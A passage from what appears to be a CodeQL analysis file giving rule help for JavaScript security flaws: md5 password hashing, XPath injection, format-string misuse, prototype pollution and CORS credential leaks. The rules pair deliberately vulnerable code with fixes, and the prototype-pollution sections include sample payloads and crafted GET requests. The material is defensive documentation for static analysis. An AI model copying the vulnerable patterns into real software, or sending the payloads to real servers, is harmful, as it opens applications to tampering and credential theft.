computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n    var hasher = crypto.createHash('md5');\n    var hashed = hasher.update(password).digest(\"hex\"); // BAD\n    return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n  var hashed = bcrypt.hashSync(password, salt); // GOOD\n  return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n"},"properties":{"tags":["security","external/cwe/cwe-916"],"description":"Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks.","id":"js/insufficient-password-hash","kind":"path-problem","name":"Use of password hash with insufficient computational effort","precision":"high","problem.severity":"warning","security-severity":"8.1"}},{"id":"js/xpath-injection","name":"js/xpath-injection","shortDescription":{"text":"XPath injection"},"fullDescription":{"text":"Building an XPath expression from user-controlled sources is vulnerable to insertion of malicious code by the user."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // BAD: Use user-provided data directly in an XPath expression\n  let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n  badXPathExpr.select({\n    node: root\n  });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // GOOD: Embed user-provided data using variables\n  let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n  goodXPathExpr.select({\n    node: root,\n    variables: { userName: userName }\n  });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n","markdown":"# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // BAD: Use user-provided data directly in an XPath expression\n  let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n  badXPathExpr.select({\n    node: root\n  });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // GOOD: Embed user-provided data using variables\n  let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n  goodXPathExpr.select({\n    node: root,\n    variables: { userName: userName }\n  });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n"},"properties":{"tags":["security","external/cwe/cwe-643"],"description":"Building an XPath expression from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.","id":"js/xpath-injection","kind":"path-problem","name":"XPath injection","precision":"high","problem.severity":"error","security-severity":"9.8"}},{"id":"js/tainted-format-string","name":"js/tainted-format-string","shortDescription":{"text":"Use of externally-controlled format string"},"fullDescription":{"text":"Using external input in format strings can lead to garbled output."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n","markdown":"# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n  let user = req.query.user;\n  let ip = req.connection.remoteAddress;\n  console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n"},"properties":{"tags":["security","external/cwe/cwe-134"],"description":"Using external input in format strings can lead to garbled output.","id":"js/tainted-format-string","kind":"path-problem","name":"Use of externally-controlled format string","precision":"high","problem.severity":"warning","security-severity":"7.3"}},{"id":"js/prototype-pollution-utility","name":"js/prototype-pollution-utility","shortDescription":{"text":"Prototype-polluting function"},"fullDescription":{"text":"Functions recursively assigning properties on objects may be the cause of accidental modification of a built-in prototype object."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (key === \"__proto__\" || key === \"constructor\") continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n","markdown":"# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (key === \"__proto__\" || key === \"constructor\") continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"},"properties":{"tags":["security","external/cwe/cwe-078","external/cwe/cwe-079","external/cwe/cwe-094","external/cwe/cwe-400","external/cwe/cwe-471","external/cwe/cwe-915"],"description":"Functions recursively assigning properties on objects may be\n              the cause of accidental modification of a built-in prototype object.","id":"js/prototype-pollution-utility","kind":"path-problem","name":"Prototype-polluting function","precision":"high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/prototype-pollution","name":"js/prototype-pollution","shortDescription":{"text":"Prototype-polluting merge call"},"fullDescription":{"text":"Recursively merging a user-controlled object into another object can allow an attacker to modify the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n  \"dependencies\": {\n    \"lodash\": \"^4.17.12\"\n  }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let config = lodash.merge({}, {\n    prefs: req.query.prefs\n  });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n","markdown":"# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n  \"dependencies\": {\n    \"lodash\": \"^4.17.12\"\n  }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let config = lodash.merge({}, {\n    prefs: req.query.prefs\n  });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"},"properties":{"tags":["security","external/cwe/cwe-078","external/cwe/cwe-079","external/cwe/cwe-094","external/cwe/cwe-400","external/cwe/cwe-471","external/cwe/cwe-915"],"description":"Recursively merging a user-controlled object into another object\n              can allow an attacker to modify the built-in Object prototype,\n              and possibly escalate to remote code execution or cross-site scripting.","id":"js/prototype-pollution","kind":"path-problem","name":"Prototype-polluting merge call","precision":"high","problem.severity":"error","security-severity":"6.1"}},{"id":"js/prototype-polluting-assignment","name":"js/prototype-polluting-assignment","shortDescription":{"text":"Prototype-polluting assignment"},"fullDescription":{"text":"Modifying an object obtained via a user-controlled property name may lead to accidental mutation of the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos.get(id);\n    if (!items) {\n        items = new Map();\n        req.sessions.todos.set(id, items);\n    }\n    items.set(req.query.name, req.query.text);\n    res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n        res.end(403);\n        return;\n    }\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n","markdown":"# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos.get(id);\n    if (!items) {\n        items = new Map();\n        req.sessions.todos.set(id, items);\n    }\n    items.set(req.query.name, req.query.text);\n    res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n        res.end(403);\n        return;\n    }\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"},"properties":{"tags":["security","external/cwe/cwe-078","external/cwe/cwe-079","external/cwe/cwe-094","external/cwe/cwe-400","external/cwe/cwe-471","external/cwe/cwe-915"],"description":"Modifying an object obtained via a user-controlled property name may\n              lead to accidental mutation of the built-in Object prototype,\n              and possibly escalate to remote code execution or cross-site scripting.","id":"js/prototype-polluting-assignment","kind":"path-problem","name":"Prototype-polluting assignment","precision":"high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/cors-misconfiguration-for-credentials","name":"js/cors-misconfiguration-for-credentials","shortDescription":{"text":"CORS misconfiguration for credentials transfer"},"fullDescription":{"text":"Misconfiguration of CORS HTTP headers allows for leaks of secret credentials."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin;\n     // BAD: attacker can choose the value of origin\n    res.setHeader(\"Access-Control-Allow-Origin\", origin);\n    res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n    // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin,\n        whitelist = {\n            \"https://example.com\": true,\n            \"https://subdomain.example.com\": true,\n            \"https://example.com:1337\": true\n        };\n\n    if (origin in whitelist) {\n        // 